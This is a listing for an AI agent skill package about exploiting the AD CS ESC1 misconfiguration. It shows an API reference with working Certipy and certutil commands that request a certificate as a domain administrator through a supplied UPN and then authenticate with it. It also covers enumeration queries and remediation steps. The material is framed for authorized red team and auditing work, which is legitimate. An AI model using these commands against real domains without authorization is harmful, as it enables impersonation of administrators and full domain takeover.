SSZcreate/Pentab_server / .agents/skills/cybersecurity/skills/exploiting-active-directory-certificate-services-esc1
exploiting-active-directory-certificate-services-esc1
VerifiedExploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
| File | Kind | Size |
|---|---|---|
| LICENSE | other | 11.0 KB |
| SKILL.md | skill md | 7.7 KB |
| assets/template.md | markdown | 1.3 KB |
| references/api-reference.md | markdown | 2.1 KB |
| references/standards.md | markdown | 1.1 KB |
| references/workflows.md | markdown | 1.9 KB |
| scripts/agent.py | script | 4.6 KB |
| scripts/process.py | script | 7.9 KB |
references/api-reference.md
View on GitHub# API Reference: AD CS ESC1 Vulnerability
## ESC1 — Enrollee Supplies Subject Alternative Name
### Vulnerability Conditions
1. Template allows enrollee to supply SAN (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`)
2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
3. Low-privileged users (Domain Users) can enroll
4. No manager approval required
## Certipy — AD CS Auditing Tool
### Find Vulnerable Templates
```bash
certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable
```
### Request Certificate with SAN (ESC1)
```bash
certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@domain.local
```
### Authenticate with Certificate
```bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```
## certutil — Windows Built-in
### List Templates
```cmd
certutil -v -template
certutil -catemplates
certutil -TCAInfo
```
### Request Certificate
```cmd
certutil -submit -attrib "SAN:upn=admin@domain.local" request.req
```
## Certificate Template Flags
### msPKI-Certificate-Name-Flag
| Value | Name | Risk |
|-------|------|------|
| 0x00000001 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | CRITICAL |
| 0x00010000 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME | CRITICAL |
### msPKI-Enrollment-Flag
| Value | Name |
|-------|------|
| 0x00000002 | CT_FLAG_PEND_ALL_REQUESTS (manager approval) |
| 0x00000020 | CT_FLAG_AUTO_ENROLLMENT |
## LDAP Queries for AD CS
### Find templates with ENROLLEE_SUPPLIES_SUBJECT
```ldap
(&(objectClass=pKICertificateTemplate)
(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))
```
### Find CAs
```ldap
(objectClass=pKIEnrollmentService)
```
## PowerShell — PSPKI Module
### Install
```powershell
Install-Module -Name PSPKI
```
### Get Templates
```powershell
Get-CertificateTemplate | Where-Object {
$_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OID
```
## Remediation
1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from template flags
2. Require CA manager approval for certificate issuance
3. Restrict enrollment permissions to specific security groups
4. Enable certificate auditing (Event ID 4887)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |